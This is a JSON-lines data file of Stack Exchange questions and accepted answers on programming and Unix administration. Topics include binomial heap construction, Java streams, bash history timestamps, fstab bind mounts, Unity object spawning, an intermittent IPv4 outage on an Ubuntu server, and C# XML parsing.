{  "id": "_cs.24355"  , "question": "I'm studying binomial heaps in anticipation for my finals and the CLRS book tells me that insertion in a binomial heap takes $\\Theta(\\log n)$ time. So given an array of numbers it would take $\\Theta(n\\log n)$ time to convert it a a binomial heap. To me that seems a bit pessimistic and like a naive implementation. Does anyone know of a method/implementation that can convert an array of numbers to a binary heap in $\\Theta(n)$ time?"  , "title": "Can we create binomial heaps in linear time?"  , "tags": "data structures;efficiency;heaps;priority queues"  , "accepted_answer": "Wikipedia claims that insertion takes $O(1)$ amortized time, and so converting an array of numbers into a binomial heap should indeed take time $O(n)$. This is also supported by these lecture notes, and probably mentioned in CLRS."  } 
{  "id": "_codereview.173710"  , "question": "I have this piece of code that iterates two lists, one of participants in a round and another list with the bids made in a round, I need to compare both lists to determine which participants did not make a bid in the round:    for (final InvestorModel participant : roundParticipants)    {        boolean investorNotFound = true;        for (final AuctionBidModel bid : bids)        {            if (bid.getInvestor().equals(participant))            {                investorNotFound = false;            }        }        if (investorNotFound)        {            investorsWithNoBid.add(participant);        }    }As you can see, a flag is used to mark if a participant is not found in the list of bids made, said flag is used after the nested for finishes to determine if said participant should be added to the list of participants with no bids.I'm having coming up with a lambda expression that compares the contents of two lists of different objects, where one checks each of its objects against each of the objects' investor property in the other list.How can I convert this piece of code to a stream? Or is it one of the cases that cannot be converted?"  , "title": "Passing to a lambda expression a double nested for with internal conditionals"  , "tags": "java;collections;stream"  } 
{  "id": "_unix.107692"  , "question": "Enabling history to display time via  export HISTTIMEFORMAT='%F %T ' shows the times of the commands but .bash_history doesn't contain any times.Where does bash store the times the commands were executed?Are they always stored automatically?"  , "title": "Where does bash store the time commands were executed?"  , "tags": "bash;command history;storage;timestamps"  , "accepted_answer": "From the BASH_BUILTINS man page:If the  HISTTIMEFORMAT  variable  is set, the time stamp information associated with each history entry is written to the history file, marked with the history comment character.  When the  history  file  is  read, lines  beginning  with  the  history  comment  character followed immediately by a digit are interpreted as timestamps for the previous history line.So the information is stored in the history file only if HISTTIMEFORMAT is set.(Try history -a to append the currently in-memory history entries to your history file. You should now see comments with unix timestamps in there.)"  } 
{  "id": "_unix.29775"  , "question": "Is there a generic way to reset a PCI device in Linux from the command line? That is, cause the PCI bus to issue a reset command."  , "title": "Reset a PCI Device in Linux"  , "tags": "linux;pci"  } 
{  "id": "_unix.344127"  , "question": "I want to keep the /home directory in a folder on a disk partition other than the boot partition.  Please note I said folder, not partition, meaning that I do not want to mount an entire partition as /home.Bad fstab entry: LABEL=G_Giant_257/common/home /home would be exactly what I want, if only such syntax would work.Actual (good) fstab:LABEL=G_Giant_257 /mnt/g auto nosuid,nodev,nofail,nobootwait,x-gvfs-show 0 0Now I need to get the commandmount /mnt/g/common/home /hometo execute before anything tries to access /home.  Of course, I want all references to any user's /home/~ directory to access a sub-folder of /common/home on my G_Giant_257 partition.The kicker: my root partition is ext4, the G_Giant_257 partition is NTFS, so I don't see how a link could be made to work.  I am running ubuntu 16.04.  What do you recommend, please?  "  , "title": "How do I mount a directory early as possible, at or just after fstab?"  , "tags": "ubuntu;mount;directory;home"  , "accepted_answer": "mount --bind your /home in /etc/fstab with/mnt/g/common/home /home none bind 0 0(See this question on ServerFault.)I have no idea how practical is to have /home on an NTFS filesystem."  } 
{  "id": "_unix.327480"  , "question": "I have file called server.txtSuppose it has below servers , there could be more servers server1 server2server3server4how can I copy file (file.txt on all servers using scp command) at /tmp/ location . "  , "title": "Scp files to multiple server simountaneously"  , "tags": "shell script;shell;scp"  } 
{  "id": "_codereview.56054"  , "question": "I have a class that implements Queue and draws values from other queues which may still be referenced outwith it. I want my method to draw values from the contained queues, using synchronized locks on them to ensure thread safety with other code that uses synchronized locks on the queues.The way I've tried to achieve this is by having my method loop through all values indefinitely, storing the value if it's the next one, updating the stored values if it reaches the same queue again and the variables the queues are being measured by have changed since the list iteration, and returning the next value of the queue if it's unchanged since the last time it was checked and evaluated to have the next value - my logic being that at that point, all queues have been checked and the currently stored value/queue was checked earliest and has been reconfirmed to be the next value.Is this the ideal way to create a thread-safe version of this method? Or would there be a better way?http://pastebin.com/TSkiJFh0Collection<Queue<T>> memberQueues;final Lambda<T, Comparable> keyGetter;public T get(boolean remove){    // workaround to ensure thread-safety when synchronized locks can't extend past the block they're declared in.    // Work on a copy of memberQueues    List<Queue<T>> memberQueuesCopy;    synchronized(memberQueues)    { memberQueuesCopy = new ArrayList<Queue<T>>(memberQueues); }    // Declare variables and initialise with last member of memberQueuesCopy.    // If it checks every variable and the last one is next, then I don't think I need to check again.    Queue<T> nextQueue = memberQueuesCopy.get(memberQueuesCopy.size() - 1);    T nextValue = nextQueue.peek();    Comparable nextValueComparable = keyGetter.getMember(nextValue);    // Check all members of memberQueuesCopy. Find the lowest and hold the value until it gets to it again incase    // any values have changed. When it gets back to the current lowest value, check whether the value it's being    // sorted by has changed - and if it has, use its new values and run through all members again. If it hasn't,    // return it.    // I want a less contrived method. Suggestions that maintain thread safety?    for(;;)    {        for(Queue<T> i : memberQueuesCopy)        {            synchronized(i)            {                T iValue = i.peek();                Comparable iComparable = keyGetter.getMember(iValue);                if(i == nextQueue)                {                    if(nextValue == iValue && nextValueComparable.equals(iComparable))                    {                        if(remove)                            return nextQueue.remove();                        else                            return iValue;                    }                    nextValue = nextQueue.peek();                    nextValueComparable = keyGetter.getMember(nextValue);                }                else                {                    if(iComparable.compareTo(nextValueComparable) < 0)                    {                        nextQueue = i;                        nextValue = iValue;                        nextValueComparable = iComparable;                    }                }            }        }    }}"  , "title": "Threadsafe get method on queue that draws values from other queues?"  , "tags": "java;multithreading;queue"  , "accepted_answer": "Code StyleJava Code Style puts the open-brace at the end of the line, not the start of the next line. For example, you have:            if(i == nextQueue)            {but that should be:            if(i == nextQueue) {Variable conventionsi as a variable name is a great idea, if the variable is the control integer in a for loop. In your case, I presume it is short for 'item', or something, but, a Queue, being called i is unconventional.As it happens, the letter q is perfect as a substitute....Now, your nextQueue variable is actually the lastQueue odd.Function extractionWith synchronization, return-balues from methods are often a great help for readibility. Consider this code you have:// Work on a copy of memberQueuesList<Queue<T>> memberQueuesCopy;synchronized(memberQueues){ memberQueuesCopy = new ArrayList<Queue<T>>(memberQueues); }Which should really be written as:// Work on a copy of memberQueuesList<Queue<T>> memberQueuesCopy;synchronized(memberQueues) {    memberQueuesCopy = new ArrayList<Queue<T>>(memberQueues);}would be even better if written as:private final List<Queue<T>> copyQueues() {    synchronized(memberQueues) {        return new ArrayList<Queue<T>>(memberQueues);    }}and then:// Work on a copy of memberQueuesList<Queue<T>> memberQueuesCopy = copyQueues();BugsThere are three bugs I should point out:NoSuchElementException if memberQeues is empty:Queue nextQueue = memberQueuesCopy.get(memberQueuesCopy.size() - 1);(and bug 3) NullPointerException if any of the queues are empty (in some combinations) (one bug on iComparable, the other on nextValueComparable):T nextValue = nextQueue.peek();Comparable nextValueComparable = keyGetter.getMember(nextValue);  ....    T iValue = i.peek();    Comparable iComparable = keyGetter.getMember(iValue);  ....    if(nextValue == iValue && nextValueComparable.equals(iComparable))  ....    if(iComparable.compareTo(nextValueComparable) < 0)"  } 
{  "id": "_codereview.59538"  , "question": "In this Data Explorer query I am trying to do the following:For each tag:Compute sum of answer scores in this tag (S)Compute count of answers in this tag (A)For each tag class (Bronze, Silver, Gold)add two columns:S divided by this class's score goalA divided by this class's answer goalI wanted to do this in the most general way possible, allowing more tag classes/goals to be added later. I came up with this:-- Predefined tag badge goals... TagBadges as (  select * from    (values      (1, 'Bronze', 100, 20),      (2, 'Silver', 400, 80),      (3, 'Gold', 1000, 200))    as Badge(Idx, Class, Score, Answers)),-- Progress per tag, per badge classTypeProgress as (  select    RawData.TagName,    format(iif(RawData.Score > TagBadges.Score, 1,               cast(RawData.Score as float)/TagBadges.Score), '#0.#%') as Score,    format(iif(RawData.Answers > TagBadges.Answers, 1,               cast(RawData.Answers as float)/TagBadges.Answers), '#0.#%') as Answers,    TagBadges.Class  from RawData cross join TagBadges),-- Combine class & type columnsAllProgress as (  select TagName, Progress, Class+' '+Type as Category  from TypeProgress  unpivot (Progress for Type in (Score, Answers)) p) ...But in the end I still had to list all the cases (2  3 = 6) explicitly:select *from AllProgresspivot (  max(Progress) for Category in    ([Bronze Score], [Bronze Answers],     [Silver Score], [Silver Answers],     [Gold Score], [Gold Answers])) qIs there a better way of doing this?"  , "title": "SQL query with dynamic unpivot+pivot for cross product"  , "tags": "sql;sql server;stackexchange"  } 
{  "id": "_codereview.55044"  , "question": "Interview question from the interwebzYou have a set of envelopes of different widths and heights.  One  envelope can fit into another if and only if both the width and height  of one envelope is greater than the width and height of the other  envelope. What is the maximum number of envelopes can you russian  doll?My implementation:# assuming no dupsdef max_russian_doll(enve):    if not enve: return 0    enve.sort()    max_global = 1    for j in xrange(len(enve) - 1):        max_local = 1        for i in xrange(j, len(enve) - 1):            if enve[i][1] < enve[i + 1][1] and enve[i][0] != enve[i + 1][0]: # @comment                 max_local += 1        max_global = max(max_global, max_local)        return max_globalenvelopes = [(4,5), (6,7), (2,3)]  max_russian_doll(envelopes)obviously this is \\$O(n^2)\\$. Right now I'm trying to figure out faster solution. Any tips?"  , "title": "Russian doll envelops"  , "tags": "python;optimization;interview questions;complexity"  } 
{  "id": "_unix.10588"  , "question": "Possible Duplicate:Which run dialog I'm a unix noob, looking for a good replacement to Windows 7's start menu (pressing Windows key and typing Ch will bring up Chrome).I was told I can just press Alt-F2 to get a launcher, but it's a bit slow, and it doesn't seem to do auto-complete (at least not out of the box)"  , "title": "What's a quick Launcher app which will do auto-complete?"  , "tags": "ubuntu"  } 
{  "id": "_cs.51403"  , "question": "I encountered some system of ~5000 random nodes connected by ~8000 non-hookean springs, with ~1300 nodes at the boundary fixed as the wall, the potential of the springs are of the form $dx*e^{(dx/a)}$ where $a$ is a constant and $dx$ the strain (displacement/original length) of the spring, I am using Monte Carlo method to find the energy-minimized configuration after I performed some perturbation, say, a simple shear or a isotropic expansion of the whole system.It seems that the conventional energy minimization schemes such as steepest Descent, or simulated annealing is not working as efficiently here as the case of linear situations, it always fail to converge to a  satisfactorily balanced state.Could someone share your experiences in dealing with such non-linear situations?Thank you so much!"  , "title": "What is a proper way of solving a multibody nonlinear problem?"  , "tags": "monte carlo"  , "accepted_answer": "OK, I finally fixed this issue, the right thing to do in such non-linear situation is to use simulated annealing. I am implementing a gradient guided simulated annealing, which works pretty efficiently.Thanks for everyone who gave me suggestions and guidance to the right path!Have fun (mixed with a lot of frustrations) with modeling!"  } 
{  "id": "_vi.2955"  , "question": "I have three vertically split windows. I want the leftmost window to remain as it is, but move the two other windows from a vertical to a horizontal split. How can I achieve this?I want to get from----------------| b1 | b2 | b3 ||    |    |    ||    |    |    |----------------to----------------| b1   | b3    ||      |-------||      | b2    |----------------I can't figure out how to do this with the CTRL-W maps listed in :h window-moving. The only thing I could think of involves opening and closing windows, not moving them, and before I create a mapping or command for it I wanted to ask if there isn't a way to do it by window movement. Here's what I've got::spl - split middle window:b 3 - open the buffer from the rightmost window in the new splitCTRL-W+l - move cursor to rightmost windowCTRL-W+c - close current (rightmost) window"  , "title": "How can I move windows from a vertical split to a horizontal split?"  , "tags": "split;vim windows"  , "accepted_answer": "I don't know if it is the best way to do what you want, but you can accomplish this only with window movements by doing (start from the rightmost window b3):1 - CTRL-W+K - You'll have:----------------| b3           ||------|-------||b1    | b2    |----------------2 - Go to b1 with CTRL-W+j3 - CTRL-W+H to move b1 to the left.You should have the layout you want now. The only downside I see with this method is that size and position of b1 are changed temporarily during the movement."  } 
{  "id": "_codereview.142351"  , "question": "I'm trying to make a random object spawning script in Unity.Bellow is the code, any suggestions for improvement / changes?I'm new to both Unity and C#.// Game objects and Transformspublic Transform playerTransform;public Transform[] obstaclePrefab;// spawn paramspublic float minYDicstane = 6.0f;public float maxYDistance = 11.0f;private float boxPositionY;public float minXDistance = 0.0f;public float maxXDistance = 3.0f;private float boxPositionX;private float minSpawnTime;private float maxSpawnTime;private float spawnTime;private float timeCounter;// Distancesprivate float playerDistance;private float boxDistance;private float ySpread;private void Start() {    // Count sequence    minSpawnTime = 3.0f;    maxSpawnTime = 8.0f;    // Count timer    timeCounter = 0;    spawnTime = Random.Range(minSpawnTime, maxSpawnTime);}private void Update() {    // Count the random spawn time    timeCounter += Time.deltaTime;    Debug.Log (Spawn Time:  + spawnTime +  spawnCount:  + timeCounter);    if(timeCounter >= spawnTime)     {        // boxDistanceFromPlayer        playerDistance = playerTransform.position.y;        // Box spawn distance        // X position        boxPositionX = Random.Range(minXDistance, maxXDistance);        boxPositionX = (boxPositionX-1)*2.0f;        // Y Position        boxPositionY = playerDistance + Random.Range(minYDicstane, maxYDistance);        // Select box color        int boxColor = Random.Range (0, 4);        // Let the boxes awake!!!        Instantiate (obstaclePrefab [boxColor], new Vector2 (boxPositionX, boxPositionY), Quaternion.identity);        // Make new random spawn time        spawnTime = Random.Range (minSpawnTime, maxSpawnTime);        timeCounter = 0;    }}Code after changes, using coroutines// Game objects and Transformspublic Transform playerTransform;public GameObject[] obstaclePrefab;// spawn paramspublic float minYDicstane = 6.0f;public float maxYDistance = 11.0f;public float minXDistance = 0.0f;public float maxXDistance = 3.0f;public float minSpawnTime = 2.0f;public float maxSpawnTime = 5.0f;public float spawnTime = 4.0f;IEnumerator SpawnBoxes() {    while (true)     {        float boxPositionY;        float boxPositionX;        //Distances        float playerDistance;        // Player position        playerDistance = playerTransform.position.y;        // Box position        boxPositionX = Random.Range(minXDistance, maxXDistance);        boxPositionY = playerDistance + Random.Range(minYDicstane, maxYDistance);        // Select box        GameObject box = obstaclePrefab[Random.Range(0, obstaclePrefab.Length - 1)];        // Instantiate box        Instantiate (box, new Vector2 (boxPositionX, boxPositionY), Quaternion.identity);        // Coroutine random amount of time        yield return new WaitForSeconds(Random.Range(minSpawnTime, maxSpawnTime));    } }private void Start() {    StartCoroutine(SpawnBoxes());}"  , "title": "Object spawning script Unity"  , "tags": "c#;unity3d"  , "accepted_answer": "public Transform[] obstaclePrefab;That's wrong. Prefabs are of type GameObject, not Transform.private float minSpawnTime;private float maxSpawnTime;Why did you make these private? They should have been public with default values - just as all the others.private float boxPositionY;private float boxPositionX;// Distancesprivate float playerDistance;private float boxDistance;private float ySpread;These shouldn't even been private, but local to the Update() method, as their values are never reused.// Select box colorint boxColor = Random.Range(0, 4);This is very likely to break. Better read the array length instead of hard coding it:// Select box colorint boxColor = Random.Range(0, obstaclePrefab.Length - 1);Or just get rid of boxColor all together:// Select boxGameObject box = obstaclePrefab[Random.Range(0, obstaclePrefab.Length - 1)];// Count the random spawn timetimeCounter += Time.deltaTime;if(timeCounter >= spawnTime) {    // Make new random spawn time    spawnTime = Random.Range (minSpawnTime, maxSpawnTime);    timeCounter = 0;}That's one way to do it. The cleaner method would have been to handle this in a Coroutine and then use WaitForSeconds. Right now, your code runs every single frame, without actually doing anything useful.Debug.Log (Spawn Time:  + spawnTime +  spawnCount:  + timeCounter);Be careful when you log. Logging when something spawns? OK. But spamming a log entry every single frame? Waste of resources.boxPositionX = (boxPositionX-1)*2.0f;What is this line supposed to do? That should have been directly computed into minXDistance and maxXDistance, so this line is obsolete.If this is actually supposed to be C#, the whole script you posted should actually have wrapped in a regular C# class:using UnityEngine;using System.Collections;public class ScriptName : MonoBehaviour {    // <---- Your stuff goes here}Did you just omit this when posting your code here, or did you actually write your scripts without it?"  } 
{  "id": "_unix.190751"  , "question": "On my Ubuntu 14.04.2 server IPv4 goes offline several times per hour (one to four times I've seen, but at no particular minute per hour or so).My hoster insists that the problem is on the server-side and the fact that a Debian-based rescue system doesn't show the same symptoms makes me think they're right. However, the rescue system doesn't configure a global IPv6 address on any interface, like the installed Ubuntu system does.Routinely between one to four times an hour the (IPv4-based) SSH connection will drop due to too many timed out packets.When monitoring the server from another remote server ICMPv4 pings will either time out or the router will respond that the destination host isn't available (I routinely see both!). At the same time the ICMPv6 pings are totally unaffected.Also, when I use IPv6 to connect from that other remote host via SSH, that connection doesn't stall nor does the system appear to freeze or so (as I had suspected initially).The system and kernel logs indicate no issues either and it makes no difference whether I disable all firewall rules or leave the firewall turned on. I also had it running with logging enabled for all dropped packets to see whether I could correlate something there.No cron jobs are running at those offline times and it also doesn't happen at the same minute or so, indicating some regular cron job.I also narrowed another aspect of this down. When I ping (ICMPv4) from the host that shows the symptoms, loopback is not affected, eth0 is. This would suggest to me that it's not about IPv4 in general, but specific to the interface that corresponds to the one network card in the system.How can I proceed my troubleshooting from here? What would be the next step(s), given what I have done so far? Is there perhaps even a known bug that would correspond to the symptoms I see?NB: I have worked on diagnosing this for well over a month. So asking here, to me is kind of a last resort. Please request more details as needed and I will add them.What I have done so far:ping vs. ping6mtr from and to the server, my hoster doesn't deem the few lost packets anything irregularSSH connection via IPv4 and IPv6 respectivelytail-ed /var/log/kern.log, /var/log/syslog and /var/log/auth.log to see whether anything would show up during the offline periodflushed all firewall rules for IPv4 and IPv6 respectivelyalso simply enabled logging for dropping of packetsremoved several packages I suspected of being potential culpritsHere are the list of manually installed packages:# echo $(apt-mark showmanual)acl adduser aggregate apparmor apparmor-profiles apparmor-utils apt apt-cacher-ng apt-file apt-rdepends apt-utils base-files base-passwd bash bash-completion bash-static bridge-utils bsdutils btrfs-tools busybox-initramfs busybox-static bzip2 bzr ca-certificates cgmanager cgroup-bin cifs-utils colordiff coreutils cpio crda cron cron-apt cryptmount cryptsetup dash debconf debianutils debootstrap debsums dh-python dialog diffutils dnsutils dpkg dpkg-dev duplicity e2fslibs e2fsprogs ed etckeeper fakechroot fakeroot file findutils gcc-4.8-base gcc-4.9-base gdisk-noicu git git-svn gnupg gnutls-bin gpgv grep gzip haveged heirloom-mailx hostname htop ifupdown init-system-helpers initramfs-tools initramfs-tools-bin initscripts insserv iproute2 ipset iptables iputils-ping klibc-utils kmod kpartx less libacl1 libapt-inst1.5 libapt-pkg4.12 libattr1 libaudit-common libaudit1 libblkid1 libbz2-1.0 libc-bin libc6 libcap2 libcgmanager0 libck-connector0 libcomerr2 libdb5.3 libdbus-1-3 libdebconfclient0 libdrm2 libedit2 libevent-2.0-5 libexpat1 libffi6 libgcc1 libgdbm3 libgssapi-krb5-2 libjson-c2 libjson0 libk5crypto3 libkeyutils1 libklibc libkmod2 libkrb5-3 libkrb5support0 liblzma5 libmount1 libmpdec2 libncurses5 libncursesw5 libnih-dbus1 libnih1 libnl-3-200 libnl-genl-3-200 libpam-modules libpam-modules-bin libpam-mount libpam-runtime libpam-systemd libpam0g libpci3 libpcre3 libplymouth2 libpng12-0 libprocps3 libpython-stdlib libpython2.7-minimal libpython2.7-stdlib libpython3-stdlib libpython3.4-minimal libpython3.4-stdlib libreadline6 libselinux1 libsemanage-common libsemanage1 libsepol1 libslang2 libsqlite3-0 libss2 libssl1.0.0 libstdc++6 libtinfo5 libudev1 libui-dialog-perl libusb-0.1-4 libusb-1.0-0 libustr-1.0-1 libuuid1 libwrap0 linux-firmware linux-image-3.13.0-24-generic linux-image-extra-3.13.0-24-generic linux-image-generic localepurge locales logcheck logcheck-database login logrotate lsb-base lsb-release lshw lsof lxc lxc-templates make makedev man-db manpages manpages-dev mawk mc md5deep mdadm mercurial mime-support mlocate module-init-tools molly-guard mount mountall mtr-tiny multiarch-support ncurses-base ncurses-bin ndisc6 net-tools netcat-openbsd netsniff-ng nmap openntpd openssh-client openssh-server openssh-sftp-server p7zip-full p7zip-rar passwd pax pciutils perl perl-base perl-modules plymouth postfix procps psmisc pv python python-apt-common python-mako python-mechanize python-minimal python2.7 python2.7-minimal python3 python3-apt python3-minimal python3.4 python3.4-minimal readline-common reprepro resolvconf rsyslog sed sensible-utils sharutils smartmontools subversion sudo sysv-rc sysvinit-utils tar tcpdump tcptraceroute tmux traceroute tree tzdata ubuntu-keyring ucf udev uidmap unattended-upgrades unbound-host unrar unzip upstart usbutils util-linux vim-nox vnstat wget whois wireless-regdb xz-utils zerofree zip zlib1g zsh-doc zsh-static(Some of these come from the debootstrap process, of course.)The requested information:$ uname -a|sed 's/'$(hostname -f)'/foobar/g'Linux foobar 3.13.0-46-generic #79-Ubuntu SMP Tue Mar 10 20:06:50 UTC 2015 x86_64 x86_64 x86_64 GNU/LinuxI updated to a newer kernel (package linux-image-generic-lts-utopic):$ uname -a|sed 's/'$(hostname -f)'/foobar/g'Linux foobar 3.16.0-33-generic #44~14.04.1-Ubuntu SMP Fri Mar 13 10:33:29 UTC 2015 x86_64 x86_64 x86_64 GNU/LinuxThe sysctl -a output has been anonymized and put here.The command was (minus one sed to replace the name of an interface to _bridge):sudo sysctl -a|sed 's/'$(hostname -f)'/foobar/g;s/'$(hostname -s)'/foobar/g'|grep -Ev '^net\\.ipv[46]\\.(neigh|conf)\\._[s]'|grep -v nf_logThere are overall three interfaces like _bridge all configured for IPv4 and IPv6 and only differing in IP addresses. However, they aren't currently in use. They are slated to be used for one LXC guest each.# lspci -s 06:00.0 -vv06:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller (rev 02)        Subsystem: Micro-Star International Co., Ltd. [MSI] X58 Pro-E        Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+        Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-        Latency: 0, Cache Line Size: 256 bytes        Interrupt: pin A routed to IRQ 42        Region 0: I/O ports at e800 [size=256]        Region 2: Memory at fbeff000 (64-bit, non-prefetchable) [size=4K]        Region 4: Memory at f6ff0000 (64-bit, prefetchable) [size=64K]        [virtual] Expansion ROM at fbe00000 [disabled] [size=128K]        Capabilities: [40] Power Management version 3                Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=375mA PME(D0+,D1+,D2+,D3hot+,D3cold+)                Status: D0 NoSoftRst+ PME-Enable- DSel=0 DScale=0 PME-        Capabilities: [50] MSI: Enable+ Count=1/1 Maskable- 64bit+                Address: 00000000fee00000  Data: 40c1        Capabilities: [70] Express (v1) Endpoint, MSI 01                DevCap: MaxPayload 256 bytes, PhantFunc 0, Latency L0s <512ns, L1 <64us                        ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-                DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-                        RlxdOrd+ ExtTag- PhantFunc- AuxPwr- NoSnoop-                        MaxPayload 128 bytes, MaxReadReq 4096 bytes                DevSta: CorrErr+ UncorrErr- FatalErr- UnsuppReq+ AuxPwr+ TransPend-                LnkCap: Port #0, Speed 2.5GT/s, Width x1, ASPM L0s L1, Exit Latency L0s <512ns, L1 <64us                        ClockPM+ Surprise- LLActRep- BwNot-                LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk+                        ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-                LnkSta: Speed 2.5GT/s, Width x1, TrErr- Train- SlotClk+ DLActive- BWMgmt- ABWMgmt-        Capabilities: [b0] MSI-X: Enable- Count=2 Masked-                Vector table: BAR=4 offset=00000000                PBA: BAR=4 offset=00000800        Capabilities: [d0] Vital Product Data                Unknown small resource type 05, will not decode more.        Capabilities: [100 v1] Advanced Error Reporting                UESta:  DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-                UEMsk:  DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-                UESvrt: DLP+ SDES+ TLP- FCP+ CmpltTO- CmpltAbrt- UnxCmplt- RxOF+ MalfTLP+ ECRC- UnsupReq- ACSViol-                CESta:  RxErr+ BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+                CEMsk:  RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+                AERCap: First Error Pointer: 00, GenCap+ CGenEn- ChkCap+ ChkEn-        Capabilities: [140 v1] Virtual Channel                Caps:   LPEVC=0 RefClk=100ns PATEntryBits=1                Arb:    Fixed- WRR32- WRR64- WRR128-                Ctrl:   ArbSelect=Fixed                Status: InProgress-                VC0:    Caps:   PATOffset=00 MaxTimeSlots=1 RejSnoopTrans-                        Arb:    Fixed- WRR32- WRR64- WRR128- TWRR128- WRR256-                        Ctrl:   Enable+ ID=0 ArbSelect=Fixed TC/VC=01                        Status: NegoPending- InProgress-        Capabilities: [160 v1] Device Serial Number 01-00-00-00-68-4c-e0-00        Kernel driver in use: r8169# modinfo r8169filename:       /lib/modules/3.16.0-33-generic/kernel/drivers/net/ethernet/realtek/r8169.kofirmware:       rtl_nic/rtl8168g-3.fwfirmware:       rtl_nic/rtl8168g-2.fwfirmware:       rtl_nic/rtl8106e-2.fwfirmware:       rtl_nic/rtl8106e-1.fwfirmware:       rtl_nic/rtl8411-2.fwfirmware:       rtl_nic/rtl8411-1.fwfirmware:       rtl_nic/rtl8402-1.fwfirmware:       rtl_nic/rtl8168f-2.fwfirmware:       rtl_nic/rtl8168f-1.fwfirmware:       rtl_nic/rtl8105e-1.fwfirmware:       rtl_nic/rtl8168e-3.fwfirmware:       rtl_nic/rtl8168e-2.fwfirmware:       rtl_nic/rtl8168e-1.fwfirmware:       rtl_nic/rtl8168d-2.fwfirmware:       rtl_nic/rtl8168d-1.fwversion:        2.3LK-NAPIlicense:        GPLdescription:    RealTek RTL-8169 Gigabit Ethernet driverauthor:         Realtek and the Linux r8169 crew <netdev@vger.kernel.org>srcversion:     D0E1934D763B6927E0CB4A4alias:          pci:v00000001d00008168sv*sd00002410bc*sc*i*alias:          pci:v00001737d00001032sv*sd00000024bc*sc*i*alias:          pci:v000016ECd00000116sv*sd*bc*sc*i*alias:          pci:v00001259d0000C107sv*sd*bc*sc*i*alias:          pci:v00001186d00004302sv*sd*bc*sc*i*alias:          pci:v00001186d00004300sv*sd*bc*sc*i*alias:          pci:v00001186d00004300sv00001186sd00004B10bc*sc*i*alias:          pci:v000010ECd00008169sv*sd*bc*sc*i*alias:          pci:v000010ECd00008168sv*sd*bc*sc*i*alias:          pci:v000010ECd00008167sv*sd*bc*sc*i*alias:          pci:v000010ECd00008136sv*sd*bc*sc*i*alias:          pci:v000010ECd00008129sv*sd*bc*sc*i*depends:        miiintree:         Yvermagic:       3.16.0-33-generic SMP mod_unload modversionssigner:         Magrathea: Glacier signing keysig_key:        25:26:EE:FE:32:C9:58:B4:CD:85:CA:5F:BF:EB:ED:A1:75:D1:B2:18sig_hashalgo:   sha512parm:           use_dac:Enable PCI DAC. Unsafe on 32 bit PCI slot. (int)parm:           debug:Debug verbosity level (0=none, ..., 16=all) (int)"  , "title": "IPv4 goes offline several times per hour on headless remote server, IPv6 unaffected"  , "tags": "ubuntu;ipv6;ipv4;packet"  } 
{  "id": "_unix.280492"  , "question": "How do I perform an ascending sort of a word list, based upon how many syllables each word contains? Example Input:somethingimportantdogcatbookshelfExample Output:dogcatsomethingbookshelfimportant"  , "title": "How do I sort words by syllable count?"  , "tags": "text processing;awk;sed;perl"  , "accepted_answer": "This perl script builds a hash with words (read one per line from stdin, and/or from any filenames listed on the command line) as keys, and syllable counts as the values.Then it prints the hash keys, sorted by the syllable counts. #! /usr/bin/perluse strict;use Lingua::EN::Syllable;my %words = ();while(<>) {   chomp;   $words{$_} = syllable($_);};print join(\\n,sort { $words{$a} <=> $words{$b} } keys(%words)), \\n;Output:catdogbookshelfsomethingimportantIf you want to print the syllable count along with each word, change the last line to something like this:foreach my $word (sort { $words{$a} <=> $words{$b} } keys(%words)) {    printf %2i: %s\\n, $words{$word}, $word;};Output: 1: cat 1: dog 2: bookshelf 3: something 3: importantThis version highlights the fact that, as the module itself claims, it only estimates the syllable count.  bookshelf is correctly counted as having only two syllables but something should also be two.I haven't examined the module code closely, but it's probably getting confused by the e after the m.  In many (most?) words, that wouldn't be a silent e and would count as an extra syllable."  } 
{  "id": "_codereview.68227"  , "question": "this is a small part of my code that allows me to request a file through a load balancer, reading this XML file gives me the server's name (only node inside the XML Document) if the machine isn't inside the LAN then it won't be able to query the website.  I give it a longer timeout to make sure that I don't get a ton of errors emailed to me if the network is laggy.Here is the XML file Structure.<?xml version=1.0 encoding=utf-8?><Server>    JSODYAPP01T</Server>Here is the Code that retrieves the informationWebRequest request = WebRequest.Create(xmlLocation);request.Timeout = 90000;using (WebResponse response = request.GetResponse())using (XmlReader xmlReader = XmlReader.Create(response.GetResponseStream())){    while (xmlReader.Read())    {        if (xmlReader.NodeType == XmlNodeType.Text)        {            serverName = xmlReader.Value.ToString();            serverName = serverName.Replace(\\r, );            serverName = serverName.Replace(\\n, );            serverName = serverName.Replace( , );        }    }}is there a better way of doing this?"  , "title": "Parsing an XML File for a single word/phrase"  , "tags": "c#;http"  , "accepted_answer": "Linq to XML is your friendvar serverName = XDocument.Load(response.GetResponseStream()).Element(Server).Value;Your code will be easily broken if someone adds a node to the XML, and your code should be as flexible as possible. Never do such an assumption (It's gonna be the first node)Your method is blocking, consider making it asynchronous.using (var response = await request.GetResponseAsync()){}And by the way, C# got type inference, so why bother typing the type? Use var instead var request = WebRequest.Create(xmlLocation);"  } 
